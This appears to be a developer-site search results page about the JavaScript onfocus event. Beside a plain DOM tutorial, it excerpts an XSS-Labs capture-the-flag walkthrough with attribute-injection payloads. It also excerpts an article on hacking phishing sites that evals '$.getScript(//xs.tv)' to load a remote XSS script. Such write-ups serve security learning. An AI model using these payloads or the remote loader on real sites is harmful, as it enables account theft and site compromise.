首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【Web APIs】JavaScript 操作元素 ⑧ ( DOM 操作元素 案例 | 获取焦点 onfocus 事件 | 失去焦点 onblur 事件 | 获取设置 HTML 页面背景颜色 )

    一、案例需求 实现如下效果 , 默认状态下 , 表单显示灰色提示字体 , 点击表单输入内容是黑色字体的 ; 二、案例核心要点 1、获取焦点事件 - onfocus 事件 在 JavaScript 中 ,...当 DOM 元素 获得焦点时 , 该 DOM 元素上绑定的 onfocus 事件被触发 ; 绑定该 onfocus 事件的元素 一般都是 input 表单元素 ; 如 : 当 用户 点击输入框 或 通过键盘切换到输入框时..., 该事件会被触发 ; 绑定 onfocus 事件的方法 : 设置 onfocus 属性 : 可以 通过 DOM 操作 , 给元素添加 onfocus 属性 , 来指定当焦点集中在元素上时要执行的JavaScript...代码 ; // 行内设置 : 使用 onfocus 属性 // JavaScript 脚本中设置 var text...注册 获得焦点 事件 onfocus text.onfocus = function() { // 如果 input 表单获取焦点 , 则显示 " 请输入搜索内容

    9910

    Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)

    payload如下 ">alert()<" 第三关(事件注入) 尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了 在JavaScript中有一个函数onfocus...,触发onfocus事件 第四关(引号类型) 使用上一关的结果进行注入,尝试失败 分析源码,发现外围是双引号,双包单了,不符合javascript 的onfocus事件绑定 切换payload为双引号即可..." onfocus=javascript:alert() " 提交payload后,需要点击input框,触发onfocus事件 第五关(a标签注入) 尝试输入脚本标签,被强行切换为scr_ipt 使用上一关的方法...t_sort=" onfocus="javascript:alert()" type=" level10.php?...事件,并且把隐藏的input给显示出来,payload如下 REFERER:" onfocus="javascript:alert()" type="text" " over!

    24810

    攻破黑市之拿下吃鸡DNF等游戏钓鱼站群

    onload等常见事件全部被过滤,最长处最大长度为32个字符,+,&#等特殊字符被过滤,这就意味着,a标签,各种编码机制都不能用~~真是有够变态的,但是也通过测试得知能够执行的事件有onscroll,onfocus...,onfocus,并且unciode 编码没被过滤,没过滤的标签为 body,input,br,i 标签。...就是他后台调用的jquery框架, 由此自己研究出了一个新的拆分跨站 思路就是: 我们先构造一个函数,只要鼠标滚轮移动,就让所有的事件获取焦点,再用input标签启动onfocus函数 分别加载我的XSS...站点(如果你没听懂的话,看看下面的代码) 代码如下,首先我们来了解下 一些javascript的事件以及函数 onscroll 事件 在元素滚动条在滚动时触发 onfocus 事件在对象获得焦点时发生...,当input标签获取了焦点的时候,就会触发onfocus函数,我在onfocus函数里的代码意思是 获取i标签里的内容(也就是 $.getScript(//xs.tv) ),并且用eval执行它,所以这段代码整体的执行效果就是

    1.6K40

    扫码

    添加站长 进交流群

    领取专属 10元无门槛券

    手把手带您无忧上云

    扫码加入开发者社群

    相关资讯

    热门标签

    活动推荐

      运营活动

      活动名称
      广告关闭
      领券